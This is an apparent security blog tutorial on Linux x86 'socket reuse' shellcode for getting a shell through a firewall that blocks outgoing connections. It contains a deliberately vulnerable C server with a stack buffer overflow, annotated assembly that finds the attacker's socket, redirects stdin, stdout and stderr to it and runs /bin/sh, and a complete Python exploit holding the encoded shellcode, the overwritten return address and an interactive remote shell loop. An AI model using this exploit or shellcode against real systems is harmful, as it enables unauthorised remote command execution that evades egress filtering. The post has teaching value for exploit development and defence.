September 17, 2017 · Shellcode Exploit

Linux x86 One-Way Shellcode. (Socket Reuse)

In this post we will look at an elegant and a simple technique to get our shell past the firewall.

Recently while working on a pentest I was up against an x86 Linux machine which could be exploited but would prevent any outgoing connection other than the existing connection, I started looking for a method to use the existing connection to spawn my shell and ended up looking at a interesting technique Socket-Reuse. It is not a new method , but I found it very interesting, In this post we will look at how to use an existing socket rather than exploiting the vulnerable application/service.

Why and When to Re-use socket?

Overview

By default Linux assigns file descriptors sequentially (0, 1, 2 always being STDIN,STDOUT,STDERR) , so when a new connection is received it would be assigned to 3 and so on. So we can start from 0 and traverse all the 65,653 non-negative integers to find the socket relating to our connection and then redirect the input from the very same socket to STDIN and STDOUT to the socket ,and using execv to invoke bash to provide us an interactive shell.

Setting the environment

We start with creating a simple vulnerable server that has a buffer overflow and can be exploited remotely.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>


int newsockfd;
int copier(char *str) {
	char buffer[1024];
	strcpy(buffer, str);
}
void error(const char *msg)
{
    perror(msg);
    exit(1);
}

int main(int argc, char *argv[])
{
     int sockfd, portno;
     socklen_t clilen;
     char buffer[4096], reply[5100];
	struct sockaddr sock;
     struct sockaddr_in serv_addr, cli_addr;
     int n;
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if (sockfd < 0) 
        error("ERROR opening socket");
     bzero((char *) &serv_addr, sizeof(serv_addr));
     portno = 1337;
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &serv_addr,
              sizeof(serv_addr)) < 0) 
              error("ERROR on binding");
	printf("\n\n Server socket number is %d\n\n",sockfd);
     listen(sockfd,5);

     clilen = sizeof(cli_addr);
     newsockfd = accept(sockfd, 
                 (struct sockaddr *) &cli_addr, 
                 &clilen);
	printf("\n\n Client socket number is %d\n\n",newsockfd);
     if (newsockfd < 0) 
          error("ERROR on accept");
     while (1) {
        n = write(newsockfd,"Welcome to my server!Send a message!\n",43);
	printf("Connected from %s \n",inet_ntoa(cli_addr.sin_addr.s_addr));
        bzero(buffer,4096);
        n = read(newsockfd,buffer,4095);
        if (n < 0) error("ERROR reading from socket");

        // CALL A FUNCTION WITH A BUFFER OVERFLOW VULNERABILITY
        copier(buffer);

        printf("Here is the message: %s\n",buffer);
        strcpy(reply, "I got this message: ");
        strcat(reply, buffer);
        n = write(newsockfd, reply, strlen(reply));
        if (n < 0) error("ERROR writing to socket");
        }
     close(newsockfd);
     close(sockfd);
     return 0; 
}

Turn off ASLR and compile the above code with execstack and fno-stack-protector in gcc.

gcc -g -fno-stack-protector -z execstack -o server server.c

You would have already found out the place at which buffer overflow occurs , and a string of length 1036 bytes is enough to crash the server .

python -c 'print "A"*1032+"BBBB"' | nc localhost 1337

crash

At the moment of crash $EAX points to the start of our payload so we can find a jmp eax or call eax to jump to out payload,which was in our case 0x080486a3 #call eax.

writing our shellcode

First thing we do is to iterate over all the file descriptors looking for the one which pertains to our connection, we do this by using the getpeername() function .
int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addr_len);

Below is a code snippet to loop through all FD to find valid socket descriptors.

    xor eax,eax     ; Zeroing out EAX register 
	push eax        ; Making space on the stack for addr struct
	push eax
	mov edi,esp     ; Store the address of addr to EDI
	push 0x10       ; Push addr_len
	push esp        ; Push address of addr_len
	push edi        ; Push address of addr struct
	push eax        ; Push sockfd=0
	mov ecx,esp     ; Saving address of parameters to ECX
	push 0x07       ; getpeername() sys_call_no
	pop ebx
	
	inc_loop:
	
	inc dword [ecx] ; this loop would inc sockfd
	push 0x66       ; sys_sockectcall
	pop eax
	int 0x80	
	test eax,eax    ; test till we find a valid socket desc.
	jne inc_loop

getpeername() would return 0 if a valid socket is found and following error otherwise,

ENOTCONN (107) 0xffffff95
ENOTSOCK (88) 0xffffffa8

So for 0, 1, 2 we get a return value of (0xffffffa8) because it is not a SOCK as indicated by (ENOTSOCK) .
Since by default Linux assigns the lowest unused number we can see that fd:4 would return a value 0 hence passing the test condition and the jmp (jne inc_loop) is not taken.

Next thing is to find out if this socket descriptor that belongs to our connection , since this server would have many connection other than us , it is important to be sure that the descriptors belongs to us before redirecting STDIN and STDOUT from and to the sockfd, otherwise someone else will end up with a remote shell to the the system. Since I was in a internal network without NAT , I just used the IP address to verify the connection and redirect the file descriptors , you can also use to PORT along with it .

IP of my machine was 192.168.0.110 but since there is a null char in our payload we need to take care of this null byte , we therefore push 192.168.255.110 and then change it to 192.168.0.110 on the stack.

     push 0x6effa8c0       ; Push 192.168.255.110
     xor byte [esp+2],0xff ; 192.168.255.110 ->192.168.0.110
     pop eax               ; Save IP to EAX
     cmp [edi+4],eax       ; Compare EAX to value saved by 
                           ; getpeername() on the stack@[EDI+4]
     jne inc_loop          ; If IP doesn't match inc sockfd 

Once the proper socket is found , we need to redirect STDIN and STDOUT to our socket. This way, when /bin/sh is executed, the read() and write() functions will use this socket instead of the standard file descriptors, now all the input/output for that shell will be redirected to the socket.

The following code has to executed to do the same

dup2 (sockfd, 0); 
dup2 (sockfd, 1);
dup2 (sockfd, 2);
execv ("/bin/sh", NULL);

Code Equivalent in assembly,
At this moment the sockfd belonging to our connection is on the top of the stack @[ECX]

    xor eax,eax       ; Zeroing out EAX register 
	pop ebx           ; Saving the Sockfd to EBX
	push byte +0x3    ; ECX is set to 3
	pop ecx
	dup :
	dec ecx           ; ECX loops from 2 , 1 , 0
	mov al,0x3f       ; EAX=0x3F ( dup2 )
	int 0x80
	test eax,eax      ; Loop till all 3 std file descriptor are 
                      ; mapped to soscket
	jnz dup

Since all standard descriptor are mapped to the socket , now we need to execute /bin/sh we use the existing shellcode

push eax                ; zero terminate filename
push dword 0x68732f2f   ; hs//
push dword 0x6e69622f   ; nib/  /bin//sh pushed little endian
mov ebx,esp             ; point to filename
push eax                ; zero terminate args list
push ebx                ; *filename, 
mov ecx,esp             ; **argv[0], head of argv[] list
cdq                     ; convert doubleword to quadword,    
                        ; doubles size of eax, sign extended
                        ; and stores in edx:eax
                        ; in effect, zeroes edx, no *envp[]
mov al,0xb              ; execv
int 0x80

Complete code in assembly

	xor eax,eax
	push eax
	push eax
	mov edi,esp
	push 0x10
	push esp
	push edi
	push eax
	mov ecx,esp
	push 0x07
	pop ebx
	
	inc_loop:
	
	inc dword [ecx]
	push 0x66
	pop eax
	int 0x80	
	test eax,eax
	jne inc_loop
	push 0x6effa8c0   ; Change to your IP address 
	xor byte [esp+2],0xff
	pop eax
	cmp [edi+4],eax
	jne short -26

	xor eax,eax
	pop ebx 
	push byte +0x3
	pop ecx
	dup :
	dec ecx
	mov al,0x3f
	int 0x80
	test eax,eax
	jnz dup
	push eax           
    push dword 0x68732f2f   
    push dword 0x6e69622f  
    mov ebx,esp         
    push eax           
    push ebx           
    mov ecx,esp       
    cdq          
    mov al,0xb         
    int 0x80

We can then use nasm to compile it , and then obtain the bytes and create our POC

nasm -f bin reuse.asm -o reuse

Now we use python to create an exploit to send the shellcode and use the same socket to send commands to the server and receive the output.

#!/bin/python


import socket , struct ,select ,time

payload="\x31\xc0\x50\x50\x89\xe7\x6a\x10\x54\x57\x50\x89\xe1\x6a\x07\x5b\xff\x01\x6a\x66\x58\xcd\x80\x85\xc0\x75\xf5\x68\xc0\xa8\xff\x6e\x80\x74\x24\x02\xff\x58\x39\x47\x04\x75\xe5\x31\xc0\x5b\x6a\x03\x59\x49\xb0\x3f\xcd\x80\x85\xc0\x75\xf7\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

buffer = "\x90"*10+payload+"A"*(1032-10-len(payload)) + struct.pack('<I',0x080486a3) + 1000* "C"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.111',4001))
print s.recv(1024)

s.send(buffer+'\r\n')
print s.fileno()

while(1):
	inputready, outputready,exceptrdy = select.select([s], [s],[])
                
        if (len(inputready)!=0):
		print s.recv(1024)
	else:		
		s.send(raw_input("D3fa1t~sh3ll#> ")+'\n')
		time.sleep(0.1)       

And Voila we have exploited the server with buffer overflow and have reused the existing socket for our shell .

server
attacker

  • LinkedIn
  • Tumblr
  • Reddit
  • Google+
  • Pinterest
  • Pocket